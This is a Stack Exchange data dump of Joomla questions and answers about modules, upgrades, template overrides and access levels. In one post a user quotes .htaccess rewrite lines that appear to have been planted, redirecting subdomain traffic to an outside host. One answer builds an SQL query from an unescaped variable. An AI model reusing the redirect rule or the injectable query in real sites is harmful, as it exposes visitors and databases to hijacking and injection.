  <row Id="812" PostTypeId="2" ParentId="795" CreationDate="2014-05-14T02:33:03.363" Score="3" Body="&lt;p&gt;You're right the submit with a module is a bit more difficult because form submits have to go to a URL. It is messier to have to write a component just to accept the input from the module too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this issue, in Joomla 3 is Matt Thomas wrote a component called com_ajax. Com_Ajax is a component that is designed to assist modules with doing things with modules when there wasn't a specific URL to work with like you have in a component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your case to me is exactly what com_ajax was designed to help deal with. Here's some documentation on using it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're going to end up doing with your module is writing a which will get executed via the submit URL. I think you'll want to use some javascript to assist with the form submit there but I'm not sure if it's completely necessary (but it is sexier). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your helper you'll set up the class for the module:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Joomla-Ajax-Interface/Ajax-Session-Module/blob/master/helper.php#L12&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Joomla-Ajax-Interface/Ajax-Session-Module/blob/master/helper.php#L12&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will set up with getAjax() method:&#xA;&lt;a href=&quot;https://github.com/Joomla-Ajax-Interface/Ajax-Session-Module/blob/master/helper.php#L12&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Joomla-Ajax-Interface/Ajax-Session-Module/blob/master/helper.php#L12&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To handle pulling in the form submit data via JFactory::getApplication()-&gt;input()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will then return some sort of response, probably something like a JSON string which is a success or error message. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this helps!&lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2014-05-14T02:33:03.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="813" PostTypeId="2" ParentId="808" CreationDate="2014-05-14T03:04:11.247" Score="3" Body="&lt;p&gt;Since it doesn't appear to be possible to prevent this behaviour, I implemented the following solution. Add a duplicate check to a &lt;code&gt;JTable&lt;/code&gt; &lt;code&gt;check&lt;/code&gt; method override:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check for duplicate entry&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select('COUNT(*)');&#xA;$query-&amp;gt;from($this-&amp;gt;get('_tbl'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('col1') . ' = ' . $db-&amp;gt;quote($this-&amp;gt;col1));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult();&#xA;&#xA;if ($result) &#xA;{&#xA;    $this-&amp;gt;setError(&quot; Duplicate entry for col1 = '&quot; . $this-&amp;gt;col1 . &quot;'&quot;);&#xA;    return false;            &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="132" LastActivityDate="2014-05-14T03:04:11.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="814" PostTypeId="1" AcceptedAnswerId="834" CreationDate="2014-05-14T06:58:15.180" Score="4" ViewCount="4200" Body="&lt;p&gt;I want to show my article intro text and item image with link to the full article in the result page for Joomla Tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this, or how can I modify the code to get the expected results?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to add in components\com_tags\views\tag\tmpl\default_items.php &lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;introtext; ?&amp;gt;&lt;/code&gt; but it does not work there as in other cases. I do not know php well enough, so would like to know if there are other suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="401" LastActivityDate="2016-09-23T14:31:36.513" Title="Modify Joomla Tags Result Page" Tags="|overrides|tags|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="815" PostTypeId="2" ParentId="808" CreationDate="2014-05-14T08:22:51.650" Score="6" Body="&lt;p&gt;Maybe you can use a try catch command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try&#xA;{&#xA;//Your code to run the SQL here &#xA;}&#xA;catch (Exception $e)&#xA;{&#xA;$this-&amp;gt;setError('The error message you want');&#xA;return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="402" LastEditorUserId="402" LastEditDate="2014-05-14T08:46:08.083" LastActivityDate="2014-05-14T08:46:08.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="816" PostTypeId="1" CreationDate="2014-05-14T09:02:27.497" Score="6" ViewCount="1122" Body="&lt;p&gt;I am trying to update a Joomla installation from Joomla 1.6 to the newest Joomla version that I can, at least I am trying to get to version 2.5, and hopefully 3.X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed the instruction on &lt;a href=&quot;http://www.ostraining.com/blog/joomla/upgrade-joomla-16-to-25/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this site&lt;/a&gt; to successfully update to version 1.7.0.  This is good.  The problem is: the site instructs me to use the automated updates in the Extension Manager to get the update to version 2.5.  However this is what I am seeing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rIjBM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why it would not be showing any available updates since we all know that there should be some available?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a suggestion for a better way to do the update?  Thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="390" LastActivityDate="2016-01-28T13:52:59.853" Title="Joomla 1.7 Extension Manager: Update not showing any updates" Tags="|update|versions|one-click-updates|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="817" PostTypeId="2" ParentId="816" CreationDate="2014-05-14T09:05:32.783" Score="1" Body="&lt;p&gt;The screenshot you provided wil show updates for Extensions, not Joomla itself. So firstly, click the &quot;Purge Cache&quot; button, then on the top menu, go to &lt;strong&gt;Components&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Joomla! Update&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should then show an update. If not, go to &quot;Options&quot; and ensure it it searching for Long Term Release updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-05-14T09:05:32.783" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="818" PostTypeId="1" CreationDate="2014-05-14T09:08:09.423" Score="3" ViewCount="681" Body="&lt;p&gt;I have to update a joomla installation from 1.6 to a new version, hopefully 3.3.X.  I have been fooling around with step-by-step upgrade process to move from version to version.  So far it hasn't been going well.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative I was thinking to simply do a fresh install of the new Joomla 3.3 version if there was some way to then migrate the content from the old 1.6 installation.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a way to do that?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installing the new versions of components and extensions would not be hard, but I would need to move all the users, groups, access levels, as well as all the articles and menus.  Of course the articles and menus would need to keep their access and locations correct for it all to work.  Also I don't want to have to re-setup all the users.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="390" LastEditorUserId="155" LastEditDate="2014-05-16T18:15:24.837" LastActivityDate="2014-05-21T15:50:35.857" Title="Migrate Users, Permissions, Access, Groups and Content from 1.6 to 3.3.X" Tags="|migration|joomla-3.3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="819" PostTypeId="1" AcceptedAnswerId="841" CreationDate="2014-05-14T09:23:58.190" Score="1" ViewCount="88" Body="&lt;p&gt;I am struggling to find a regex for Akeeba Backup (3.11.0), that will exclude specific hidden files that start with ._ (dot underscore) in all directories of the website.&#xA;Have anyone ever done this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here what I have tried that is closer to what I want, among other regex, but they don't work.&lt;br /&gt; &#xA;    &lt;code&gt;#^\._#&lt;/code&gt;  &amp;amp;  &lt;code&gt;[^\._]&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="159" LastEditDate="2014-05-14T18:02:53.273" LastActivityDate="2014-05-14T18:02:53.273" Title="Regex in Akeeba Backup exclude all hidden files" Tags="|joomla-3.x|akeebabackup|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="820" PostTypeId="2" ParentId="818" CreationDate="2014-05-14T09:26:56.117" Score="3" Body="&lt;p&gt;&lt;strong&gt;Try again a step by step migration:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make a Backup first and then try this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Follow this instruction to Upgrade Joomla 1.6.x to Joomla 2.5.x - &lt;a href=&quot;http://www.ostraining.com/blog/joomla/upgrade-joomla-16-to-25/&quot; rel=&quot;nofollow&quot;&gt;http://www.ostraining.com/blog/joomla/upgrade-joomla-16-to-25/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Be sure every component, plugin, template is ready for Joomla 3.3&lt;/li&gt;&#xA;&lt;li&gt;Deactivate the rememberme plugin.&lt;/li&gt;&#xA;&lt;li&gt;Then go to Joomla! Update under Components Menu, then click the Options button&lt;/li&gt;&#xA;&lt;li&gt;Change the Update Server Setting to Short Term Support and save&lt;/li&gt;&#xA;&lt;li&gt;Then you see the newest Joomla Update and you can process the usual way.&lt;/li&gt;&#xA;&lt;li&gt;Activate your rememberme plugin.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2014-05-21T15:50:35.857" LastActivityDate="2014-05-21T15:50:35.857" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="821" PostTypeId="2" ParentId="818" CreationDate="2014-05-14T09:28:09.097" Score="2" Body="&lt;p&gt;You first need to ensure you're running Joomla 1.6.5 which is the latest of the 1.6 series. &#xA;Once done, go to &lt;strong&gt;Extensions&lt;/strong&gt; (top menu) &gt;&gt; &lt;strong&gt;Update&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Purge Cache&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Find Updates&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updating using the 1 click update feature as described above will automatically update your core database tables, core code and core extensions. So you don't need to worry about manually migrating users, permissions etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may however need to install more up to date versions of 3rd party extensions and template you have installed as there are some fundamental API changes since Joomla 1.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-05-14T09:47:40.727" LastActivityDate="2014-05-14T09:47:40.727" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="822" PostTypeId="1" AcceptedAnswerId="844" CreationDate="2014-05-14T09:29:41.590" Score="1" ViewCount="758" Body="&lt;p&gt;Is there any convenient way to discover what content is using specific Viewing Access Levels ?&#xA;I want to delete the Customer Access Level, in my upgraded to J3.3.0 website, but it gives the error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You cannot delete the view access level '4:Customer Access Level'&#xA;  because it is being used by content.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How to find where it is being used, throughout all the database ?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-05-14T18:33:12.987" Title="Mapping the View Access Levels site content is using" Tags="|acl|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="823" PostTypeId="2" ParentId="822" CreationDate="2014-05-14T09:35:17.973" Score="1" Body="&lt;p&gt;If you to view the &lt;code&gt;#__content&lt;/code&gt; database table using PhpMyAdmin or something similar, you will see each article on a new row. You will also see across the top the column names. The column name you need to look for is &quot;&lt;strong&gt;access&lt;/strong&gt;&quot;. If you scroll down, change every row with the access level of &lt;strong&gt;4&lt;/strong&gt; to another value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're unsure which number to change it to, go to view the Access Levels in the Joomla backend and each level has an ID. This is the value you need to change it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-05-14T09:35:17.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="824" PostTypeId="2" ParentId="819" CreationDate="2014-05-14T09:39:50.577" Score="1" Body="&lt;p&gt;I think it just uses &lt;code&gt;preg_match()&lt;/code&gt; so I would try using a tool like &lt;a href=&quot;http://regex101.com/#pcre&quot; rel=&quot;nofollow&quot;&gt;regex101&lt;/a&gt; with the &lt;code&gt;pcre&lt;/code&gt; flavour to build your match pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried with out the delimiters, i.e. something simple like &lt;code&gt;^\._&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-05-14T09:39:50.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="825" PostTypeId="2" ParentId="816" CreationDate="2014-05-14T10:58:12.293" Score="1" Body="&lt;p&gt;Make a Backup first and then try this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Follow this instruction to Upgrade Joomla 1.6.x to Joomla 2.5.x&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ostraining.com/blog/joomla/upgrade-joomla-16-to-25/&quot; rel=&quot;nofollow&quot;&gt;http://www.ostraining.com/blog/joomla/upgrade-joomla-16-to-25/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/J2.5%3aUpgrading_from_an_existing_version&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J2.5:Upgrading_from_an_existing_version&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Be sure every component, plugin, template is ready for Joomla 3.3&lt;/li&gt;&#xA;&lt;li&gt;Deactivate the rememberme plugin.&lt;/li&gt;&#xA;&lt;li&gt;Then go to Joomla! Update under Components Menu, then click the Options button&lt;/li&gt;&#xA;&lt;li&gt;Change the Update Server Setting to Short Term Support and save&lt;/li&gt;&#xA;&lt;li&gt;Then you see the newest Joomla Update and you can process the usual way.&lt;/li&gt;&#xA;&lt;li&gt;Activate your rememberme plugin.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="268" LastActivityDate="2014-05-14T10:58:12.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="827" PostTypeId="1" CreationDate="2014-05-14T11:55:52.093" Score="1" ViewCount="879" Body="&lt;p&gt;I want to create an alternative layout for an article in Joomla 2.5.16. In my template's override folder I duplicated the current template override file (default.php) and renamed to myarticle.php.&lt;br /&gt;&lt;br /&gt;&#xA;But for whatever reason, I can't see my new article.php file as an option in article manager's layout option. It still displays only the default.php.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2020-08-03T09:42:36.983" Title="Article Alternative Layout not appearing as option" Tags="|overrides|template-override|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="828" PostTypeId="1" AcceptedAnswerId="843" CreationDate="2014-05-14T12:18:20.703" Score="2" ViewCount="69" Body="&lt;p&gt;Joomla: 3.3.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/glmSE.png&quot; alt=&quot;Homepage&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5K29Y.png&quot; alt=&quot;Another Page&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem occurs on every page. creact.com is loaded on every page and the real link too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The htaccess file is modified with these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;### START WILDCARD ##################&#xA;RewriteEngine on&#xA;RewriteCond %{HTTP_HOST} ^(.*)\.creact\.com [NC]&#xA;RewriteCond %{HTTP_HOST} !^www\.creact\.com [NC]&#xA;RewriteRule ^(.*)$ http://c999.xxxxx.de/?u=%{HTTP_HOST} [L]&#xA;### ENDE WILDCARD ###################&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have removed these lines, but I had no success. Then I deactivated the redirect plugin with no success. What should I do to fix this problem?&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="438" LastEditDate="2014-05-20T19:19:28.390" LastActivityDate="2014-05-20T21:21:56.133" Title="The URL loaded two times on every page" Tags="|joomla-3.x|url|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="829" PostTypeId="2" ParentId="827" CreationDate="2014-05-14T12:20:54.977" Score="3" Body="&lt;p&gt;Make sure you have the folder structure correct:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Component path:&#xA;/components/com_content/views/article/tmpl/default.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template path:&#xA;/templates/mytemplate/html/com_content/article/myarticle.php&lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2014-05-14T12:20:54.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="830" PostTypeId="2" ParentId="822" CreationDate="2014-05-14T12:23:49.367" Score="1" Body="&lt;p&gt;I believe ACL Manager might help with viewing all the access levels:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.aclmanager.net/&quot; rel=&quot;nofollow&quot;&gt;http://www.aclmanager.net/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The screenshots show a grid of components and categories. Not sure if it goes down to the article level. &lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2014-05-14T12:23:49.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="831" PostTypeId="2" ParentId="677" CreationDate="2014-05-14T14:43:48.393" Score="0" Body="&lt;p&gt;not to create a special component for your needs you can simply find a blog component you prefer and leave an inquiry for customization. As far as I know, customization will not take a lot of time.&#xA;Particularly, i suggest looking at &lt;a href=&quot;http://www.joomplace.com/joomla-components/joomla-blog-component.html&quot; rel=&quot;nofollow&quot;&gt;JoomBlog&lt;/a&gt; component and if you like the functionality contact support team.&lt;/p&gt;&#xA;" OwnerUserId="407" LastActivityDate="2014-05-14T14:43:48.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="833" PostTypeId="2" ParentId="677" CreationDate="2014-05-14T15:00:35.767" Score="2" Body="&lt;p&gt;I think you need a plugin for this task. The plugin should check user-id and the article-id and save this in the database. And then with the onContentBeforeDisplay Plugin event you can hide this article with some simple php checks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin Events: &lt;a href=&quot;http://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Plugin/Events&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;General Plugin Development: &lt;a href=&quot;http://docs.joomla.org/Portal%3aPlugin_Development&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Portal:Plugin_Development&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Info: &lt;a href=&quot;http://magazine.joomla.org/issues/issue-may-2014/item/1862-why-every-joomla-sitebuilder-should-learn-plugin-development&quot; rel=&quot;nofollow&quot;&gt;http://magazine.joomla.org/issues/issue-may-2014/item/1862-why-every-joomla-sitebuilder-should-learn-plugin-development&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2014-05-14T15:00:35.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="834" PostTypeId="2" ParentId="814" CreationDate="2014-05-14T15:47:17.893" Score="7" Body="&lt;p&gt;Try this(tested and worked in Joomla 3.3.0):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Put this code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//introtext&#xA;echo $item-&amp;gt;text;&#xA;//image&#xA;$images  = json_decode($item-&amp;gt;core_images);&#xA;echo '&amp;lt;img src=&quot;'.$images-&amp;gt;image_intro.'&quot;&amp;gt;';&#xA;//get category name by id&#xA;$db = JFactory::getDbo();&#xA;$id = $item-&amp;gt;core_catid;&#xA;$db-&amp;gt;setQuery(&quot;SELECT cat.title FROM #__categories cat WHERE cat.id='$id'&quot;);&#xA;$category = $db-&amp;gt;loadResult();&#xA;echo '&amp;lt;p&amp;gt;'.$category.'&amp;lt;/p&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;into this file:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;templates/yourtemplate/html/com_tags/tag/default_items.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that should be copied from:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;components\com_tags\views\tag\tmpl\default_items.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;between this two lines&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php foreach ($items as $i =&amp;gt; $item) : ?&amp;gt; //Line 63&#xA;&amp;lt;?php endforeach; ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You can use any of this variables(&lt;code&gt;&amp;lt;?php echo $item-&amp;gt;useonefromthelist; ?&amp;gt;&lt;/code&gt;) to modify the tag output:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;type_alias&#xA;content_item_id &#xA;core_content_id&#xA;match_count &#xA;tag_date&#xA;core_title&#xA;core_alias&#xA;core_body&#xA;core_state&#xA;core_access &#xA;core_metadata&#xA;core_created_user_id &#xA;core_created_by_alias &#xA;core_created_time &#xA;core_images &#xA;core_modified_time &#xA;core_language &#xA;core_catid &#xA;core_publish_up &#xA;core_publish_down &#xA;content_type_title &#xA;router &#xA;author &#xA;author_email &#xA;link &#xA;displayDate&#xA;event&#xA;text&#xA;core_params&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How i get this list?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pre&amp;gt;&#xA;&amp;lt;?php print_r($item); ?&amp;gt;&#xA;&amp;lt;/pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastEditorUserId="1577" LastEditDate="2014-06-29T16:59:19.373" LastActivityDate="2014-06-29T16:59:19.373" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="835" PostTypeId="2" ParentId="216" CreationDate="2014-05-14T15:59:03.837" Score="3" Body="&lt;p&gt;An another solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use a Server Side Device detection like this: &lt;a href=&quot;http://mobiledetect.net/&quot; rel=&quot;nofollow&quot;&gt;http://mobiledetect.net/&lt;/a&gt; here the Joomla Plugin &lt;a href=&quot;http://www.yagendoo.com/en/blog/free-mobile-detection-plugin-for-joomla.html&quot; rel=&quot;nofollow&quot;&gt;http://www.yagendoo.com/en/blog/free-mobile-detection-plugin-for-joomla.html&lt;/a&gt; and then extend the joomla/templates/yourtemplate/html/modules.php with your own mod_chrome style. Then you can write as many php if statements you like for any device or resolution.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2014-05-14T16:21:57.793" LastActivityDate="2014-05-14T16:21:57.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="836" PostTypeId="2" ParentId="814" CreationDate="2014-05-14T16:00:06.547" Score="0" Body="&lt;p&gt;1stly, directly editing the template override in situ is not recommended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google html overrides for more info but in short, for the case above:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;copy the tmpl folder from components\com_tags\views\tag to templates/yourtemplate/html/com_tags/&lt;/li&gt;&#xA;&lt;li&gt;rename it to tag&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can edit it there where it won't get overwritten after an update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what you want to do above I think you'll find this more complicated than you think.  What output would you want where a tag is linked to more that one article?  What I would do here is have a look at modifying a module that already does most of what you want.  Something like the &quot;Similar Tags&quot; module.  It would be easier to make a modified version of that and call that into the tag result page.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2014-05-14T16:11:34.953" LastActivityDate="2014-05-14T16:11:34.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="837" PostTypeId="1" CreationDate="2014-05-02T20:06:32.870" Score="2" ViewCount="568" Body="&lt;p&gt;I installed a template (Purity III) and configured the slideshow module that came with the template (I use Joomla v3). I want to have this module shown only on the public pages, not when the user has logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, within the Module Manager after selecting the slideshow module I:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set 'Access' to 'Public' within the Module tab. &lt;/li&gt;&#xA;&lt;li&gt;Set 'Module assignment' to 'Only pages selected' within Menu assignment; the menu selection then refers to the main menu&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But when I log in as a user the slideshow module still appears(?). What am I doing wrong? How do I solve this?&lt;/p&gt;&#xA;" OwnerDisplayName="Joppo" LastEditorUserId="455" LastEditDate="2014-05-27T08:32:11.880" LastActivityDate="2014-08-14T10:48:38.297" Title="Hide Joomla slideshow module on user memberpage does not work" Tags="|templates|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="840" PostTypeId="1" CreationDate="2014-05-14T16:34:55.563" Score="1" ViewCount="672" Body="&lt;p&gt;in one of my component record entry form i placed a editor which use tinymce from joomla configuration. i save record by entering some texts for a description field like &quot;description description description description description  description description&quot; which as u see i placed a space after each word in editor by pressing keyboard space key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when it is displayed in front end, text does not break on space upon exceeding the width in percent in table td so is it's showing text crossing the limit of my table width to right breaking template width.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So are those actually spaces when texts added with space via tinymce editor??. When i add text manually in front end component view file without outputting description field then i see text breaks in space. I checked mysql database table too for description field and don't see any characters replaced space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So where is the problem when i display text in front end with space entered by tinymce editor at backend that it do not break in space upon width limit exceeded??&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="1629" LastEditDate="2014-09-03T14:05:56.607" LastActivityDate="2014-12-02T21:43:16.507" Title="Text with space entered via tinymce editor showing unexpected behaviour at front end" Tags="|php|joomla-2.5|view|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="841" PostTypeId="2" ParentId="819" CreationDate="2014-05-14T17:17:53.287" Score="2" Body="&lt;p&gt;Finally I got the correct answer from Akeeba support. The regex that works in this case is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#(^\.|/\.)_#&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All credits go to Nicholas from Akeeba.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-05-14T17:17:53.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="842" PostTypeId="2" ParentId="837" CreationDate="2014-05-14T18:21:17.363" Score="4" Body="&lt;p&gt;Change the access level to &lt;strong&gt;guest&lt;/strong&gt; instead of &lt;strong&gt;public&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As told in the comments, public means everyone is registered or not registered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/How_do_you_hide_something_from_logged_in_users?&quot; rel=&quot;nofollow&quot;&gt;Here are the instructions on how to set this up&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="160" LastEditorUserId="25" LastEditDate="2014-05-20T21:23:47.767" LastActivityDate="2014-05-20T21:23:47.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
